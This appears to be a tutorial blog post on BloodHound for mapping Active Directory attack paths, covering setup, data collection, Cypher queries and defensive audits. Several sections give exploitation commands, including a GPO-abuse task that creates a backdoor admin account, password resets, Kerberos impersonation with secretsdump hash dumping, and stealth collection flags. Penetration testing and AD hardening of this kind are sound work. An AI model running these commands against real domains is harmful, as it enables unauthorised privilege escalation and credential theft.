BloodHound Active Directory attack path visualization

BloodHound: Active Directory Attack Paths

Comprehensive guide to BloodHound for Active Directory attack path analysis, enumeration, and identifying privilege escalation vectors in AD environments.

Introduction

BloodHound is a revolutionary Active Directory reconnaissance tool that uses graph theory to reveal hidden and often complex privilege escalation paths. By mapping relationships between users, groups, computers, and permissions, BloodHound transforms the overwhelming complexity of AD environments into actionable attack paths.

Originally developed by @_wald0, @CptJesus, and @harmj0y at SpecterOps, BloodHound has become an indispensable tool for both attackers and defenders. Red teams use it to identify the shortest path to domain admin, while blue teams leverage it to discover and remediate dangerous permissions before attackers can exploit them.

Essential AD Tool

BloodHound is considered a must-have tool for any Active Directory security assessment. It can identify attack paths that would take weeks to discover manually, often revealing privilege escalation routes through obscure group memberships, ACL permissions, and trust relationships.

Key Features

  • Relationship Mapping: Visualizes complex AD relationships (group memberships, ACLs, trust relationships)
  • Attack Path Discovery: Identifies shortest paths from compromised accounts to high-value targets
  • Pre-Built Queries: Extensive library of common attack path queries
  • Custom Cypher Queries: Powerful graph query language for custom analysis
  • Multiple Collection Methods: Flexible data collection with SharpHound (C#) and BloodHound.py (Python)
  • Cross-Domain Analysis: Supports multi-domain and forest trust environments
  • Azure AD Integration: BloodHound CE supports Azure AD enumeration (AzureHound)

Installation and Setup

# Install using Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose/
docker-compose up -d

# Access web interface
# Navigate to http://localhost:8080
# Default credentials: admin:admin (change immediately)

Classic BloodHound Installation

# Install Neo4j (graph database)
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable 4.4' | sudo tee /etc/apt/sources.list.d/neo4j.list
sudo apt update
sudo apt install neo4j

# Start Neo4j
sudo neo4j start

# Set initial password
# Navigate to http://localhost:7474
# Default credentials: neo4j:neo4j

# Install BloodHound
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
chmod +x BloodHound
./BloodHound

Configure Neo4j for Performance

# Edit Neo4j configuration
sudo nano /etc/neo4j/neo4j.conf

# Recommended settings for large datasets
dbms.memory.heap.initial_size=2G
dbms.memory.heap.max_size=4G
dbms.memory.pagecache.size=2G

# Restart Neo4j
sudo systemctl restart neo4j

Data Collection with SharpHound

Basic Collection:

# Download latest SharpHound
# https://github.com/BloodHoundAD/SharpHound/releases

# All collection methods
.\SharpHound.exe -c All

# Common options
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c All --outputdirectory C:\Temp
.\SharpHound.exe -c All --memcache --zipfilename cached.zip

Collection Methods:

# Session collection (logged-on users)
.\SharpHound.exe -c Session

# LocalAdmin collection (local admin rights)
.\SharpHound.exe -c LocalAdmin

# Group membership collection
.\SharpHound.exe -c Group

# ACL collection (permissions)
.\SharpHound.exe -c ACL

# Trust relationships
.\SharpHound.exe -c Trusts

# Container collection (OUs and properties)
.\SharpHound.exe -c Container

# Combined collection (recommended)
.\SharpHound.exe -c All,GPOLocalGroup

Advanced Options:

# Specify domain
.\SharpHound.exe -c All -d domain.local

# Use specific domain controller
.\SharpHound.exe -c All --domaincontroller DC01.domain.local

# Loop collection every X minutes
.\SharpHound.exe -c Session --loop --loopduration 01:00:00

# Exclude domain controllers from session enum (stealth)
.\SharpHound.exe -c Session --excludedc

# Throttle requests (stealth)
.\SharpHound.exe -c All --throttle 1000

# Use LDAPS
.\SharpHound.exe -c All --secureldap

Operational Security (OpSec) Considerations:

# Stealthy collection
.\SharpHound.exe -c All \
  --excludedc \
  --throttle 2000 \
  --jitter 20 \
  --zipfilename report_$(Get-Date -Format yyyyMMdd).zip

# Avoid session enumeration (generates SMB connections)
.\SharpHound.exe -c Group,ACL,Trusts,Container

BloodHound.py (Python Collector)

# Install bloodhound.py
pip install bloodhound

# Basic collection
bloodhound-python -u username -p password -d domain.local -c All

# Specify domain controller
bloodhound-python -u username -p password -d domain.local -ns 10.10.10.10 -c All

# Use Kerberos authentication
bloodhound-python -u username -k -d domain.local -c All

# Disable certificate verification (for LDAPS)
bloodhound-python -u username -p password -d domain.local -c All --disable-cert-verification

Collection from Linux:

# Using NTLM authentication
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

# Using Kerberos ticket
export KRB5CCNAME=/tmp/krb5cc_1000
bloodhound-python -u [email protected] -k -d domain.local -ns 10.10.10.10 -c all

# Collection from non-domain-joined machine
bloodhound-python -u [email protected] -p password -ns 10.10.10.10 -d domain.local -c all --zip

Importing and Analyzing Data

Import Data into BloodHound

# Launch BloodHound
./BloodHound

# Connect to database
# Database URL: bolt://localhost:7687
# Username: neo4j
# Password: [your password]

# Import data
# Drag and drop ZIP file OR
# Click "Upload Data" button

Initial Analysis

Pre-Built Queries (Analysis Tab):

  • Find all Domain Admins
  • Find Shortest Paths to Domain Admins
  • Find Principals with DCSync Rights
  • Users with Foreign Domain Group Membership
  • Groups with Foreign Domain Group Membership
  • Map Domain Trusts
  • Shortest Paths to Unconstrained Delegation Systems
  • Shortest Paths from Kerberoastable Users
  • Shortest Paths to Domain Admins from Kerberoastable Users

Node Info Panel:

Right-click any node to view:

  • Overview: Basic information
  • Node Properties: All AD attributes
  • Extra Properties: Additional metadata
  • Group Membership: Direct and indirect memberships
  • Local Admin Rights: Systems where entity has local admin
  • Execution Rights: Systems where entity can execute commands
  • Outbound Object Control: Objects the entity can modify
  • Inbound Object Control: Entities that can modify this object

Custom Cypher Queries

Essential Cypher Query Patterns

Find Shortest Path to Domain Admin:

MATCH (n:User {name:"[email protected]"}), (m:Group {name:"DOMAIN [email protected]"}),
p=shortestPath((n)-[*1..]->(m))
RETURN p

Find All Paths to Domain Admin:

MATCH (n:User {name:"[email protected]"}), (m:Group {name:"DOMAIN [email protected]"}),
p=allShortestPaths((n)-[*1..]->(m))
RETURN p

Find Users with DCSync Rights:

MATCH (n:User)-[r:MemberOf*1..]->(g:Group)-[r2:GetChanges|GetChangesAll]->(d:Domain)
RETURN n.name, g.name, d.name

Kerberoastable Users with Paths to DA:

MATCH (u:User {hasspn:true})
MATCH (g:Group {name:"DOMAIN [email protected]"})
MATCH p=shortestPath((u)-[*1..]->(g))
RETURN p

AS-REP Roastable Users:

MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.description

Computers Allowing Unconstrained Delegation:

MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.operatingsystem

High-Value Targets:

MATCH (n {highvalue:true})
RETURN n.name, labels(n)

Users with Passwords in Description:

MATCH (u:User)
WHERE u.description =~ '(?i).*(pass|pwd|password|cred).*'
RETURN u.name, u.description

Local Admin on Multiple Computers:

MATCH (u:User)-[r:AdminTo]->(c:Computer)
WITH u, count(c) as adminCount
WHERE adminCount > 1
RETURN u.name, adminCount
ORDER BY adminCount DESC

Find Dangerous Permissions on Domain:

MATCH (n)-[r:WriteDacl|GenericAll|GenericWrite|Owns|WriteOwner]->(d:Domain)
RETURN n.name, type(r), d.name

Advanced Attack Path Queries

Shortest Path from Owned User:

MATCH (n:User {owned:true}), (m:Group {name:"DOMAIN [email protected]"}),
p=shortestPath((n)-[*1..]->(m))
RETURN p

Find Computers Where Owned Users are Local Admin:

MATCH (u:User {owned:true})-[r:AdminTo]->(c:Computer)
RETURN u.name, c.name

Computers with Owned Users in Session:

MATCH (u:User {owned:true})<-[r:HasSession]-(c:Computer)
RETURN u.name, c.name

Users with Path from Owned Principal:

MATCH (n {owned:true}), (m:User),
p=shortestPath((n)-[*1..]->(m))
WHERE NOT m.owned
RETURN p

GPOs Modifiable by Owned Users:

MATCH (u:User {owned:true})-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(g:GPO)
RETURN u.name, g.name, type(r)

Attack Path Examples

Path 1: Group Membership Chain

[email protected]
  ↓ MemberOf
IT [email protected]
  ↓ MemberOf
Server [email protected]
  ↓ GenericAll
DOMAIN [email protected]

Exploitation:

# Add user to Domain Admins
net group "Domain Admins" User /add /domain

Path 2: ACL-Based Privilege Escalation

[email protected]
  ↓ GenericAll
[email protected]
  ↓ ForceChangePassword
[email protected]
  ↓ AdminTo
DC01.DOMAIN.LOCAL

Exploitation:

# Step 1: Add user to HelpDesk group
Add-ADGroupMember -Identity "HelpDesk" -Members "User"

# Step 2: Reset Admin password
Set-ADAccountPassword -Identity Admin -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewPass123!" -Force)

# Step 3: Use Admin credentials to access DC
Enter-PSSession -ComputerName DC01 -Credential DOMAIN\Admin

Path 3: GPO Abuse

[email protected]
  ↓ GenericWrite
Corporate Workstations GPO
  ↓ GpLink
Domain [email protected]

Exploitation:

# Modify GPO to add scheduled task
# Tools: SharpGPOAbuse, PowerView
SharpGPOAbuse.exe --AddComputerTask \
  --TaskName "Update" \
  --Author "NT AUTHORITY\SYSTEM" \
  --Command "cmd.exe" \
  --Arguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" \
  --GPOName "Corporate Workstations GPO"

Path 4: Constrained Delegation

[email protected]
  ↓ GenericAll
[email protected] (AllowedToDelegate: HTTP/DC01)
  ↓ Impersonate
Any User → HTTP/DC01 (including DA)

Exploitation:

# Request TGT for service account
getTGT.py domain.local/SERVICE01$ -hashes :ntlmhash

# Request service ticket as DA
getST.py domain.local/SERVICE01$ -spn HTTP/DC01.DOMAIN.LOCAL -impersonate Administrator -dc-ip 10.10.10.10

# Use ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k DC01.DOMAIN.LOCAL -just-dc

Defensive Use Cases

Identifying Dangerous Permissions

// Find all GenericAll permissions to high-value targets
MATCH (n)-[r:GenericAll]->(m {highvalue:true})
RETURN n.name, m.name, labels(m)

// Excessive AdminTo relationships
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WITH u, count(c) as adminCount
WHERE adminCount > 10
RETURN u.name, adminCount
ORDER BY adminCount DESC

Audit Privileged Groups

// Members of Domain Admins
MATCH (n)-[r:MemberOf*1..]->(g:Group {name:"DOMAIN [email protected]"})
RETURN n.name, labels(n)

// Nested group memberships to privileged groups
MATCH p=(n:User)-[r:MemberOf*2..]->(g:Group {highvalue:true})
RETURN p

Find Stale Objects

// Inactive users with admin rights
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WHERE u.enabled = false OR u.lastlogontimestamp < (datetime().epochseconds - (90 * 86400))
RETURN u.name, u.lastlogontimestamp, count(c) as AdminCount

// Service accounts with passwords that don't expire
MATCH (u:User {hasspn:true})
WHERE u.pwdneverexpires = true
RETURN u.name, u.serviceprincipalnames

BloodHound Tips and Tricks

Mark Owned Principals

# Right-click node → "Mark User as Owned"
# Or bulk mark via Cypher:
MATCH (n:User) WHERE n.name IN ["[email protected]", "[email protected]"]
SET n.owned = true

Set High-Value Targets

// Mark custom high-value targets
MATCH (n) WHERE n.name IN ["[email protected]", "[email protected]"]
SET n.highvalue = true

Export Data

// Export all users to CSV
MATCH (u:User)
RETURN u.name, u.enabled, u.lastlogon, u.pwdlastset

Database Cleanup

// Clear all data
MATCH (n) DETACH DELETE n

// Clear owned markers
MATCH (n) WHERE n.owned = true SET n.owned = false

Performance Optimization

// Create indexes for faster queries
CREATE INDEX ON :User(name)
CREATE INDEX ON :Computer(name)
CREATE INDEX ON :Group(name)

Operational Security

Detection Risks

BloodHound collection generates:

  • LDAP queries: Extensive LDAP enumeration
  • SMB connections: Session enumeration connects to computers
  • DNS queries: Name resolution for discovered systems
  • Event logs: Domain controller logs LDAP queries (Event ID 1644)

Reducing Detection Footprint

# Minimal collection (no session enumeration)
.\SharpHound.exe -c DCOnly

# Throttled collection
.\SharpHound.exe -c All --throttle 5000 --jitter 30

# Loop session collection only (after initial enum)
.\SharpHound.exe -c Session --loop --loopduration 06:00:00 --excludedc

Blue Team Detection

# Sigma rule for SharpHound detection
title: SharpHound Active Directory Enumeration
status: experimental
detection:
  selection_ldap:
    EventID: 1644  # LDAP queries
    source: Microsoft-Windows-Directory-Services-SAM
  selection_smb:
    EventID: 5145  # Network share object accessed
    ShareName: '\\\*\ADMIN$'
  condition: selection_ldap OR selection_smb

Integration with Other Tools

Plumhound

Export BloodHound queries to reports:

# Install Plumhound
git clone https://github.com/PlumHound/PlumHound.git
cd PlumHound && pip install -r requirements.txt

# Generate report
python3 PlumHound.py -x tasks/default.tasks -p Password123

CrackMapExec Integration

# Mark owned computers in BloodHound
crackmapexec smb 10.10.10.0/24 -u user -p password --bloodhound --collection All

PowerView Integration

# Export to BloodHound format
Import-Module PowerView.ps1
Invoke-BloodHound -CollectionMethod All

References

Next Steps

After BloodHound enumeration:

  • Prioritize attack paths based on exploitability and stealth
  • Validate paths through manual testing before exploitation
  • Document findings with screenshots and path details
  • Remediate dangerous permissions identified during defensive use
  • Explore related Active Directory attack techniques:

Takeaway: BloodHound revolutionizes Active Directory security assessment by visualizing complex permission chains and trust relationships. Both attackers and defenders benefit from understanding AD attack paths - red teams to exploit them efficiently, blue teams to identify and remediate them proactively. Make BloodHound analysis a standard component of your Active Directory security program.

Last updated on

BloodHound: Active Directory Attack Paths | Drake Axelrod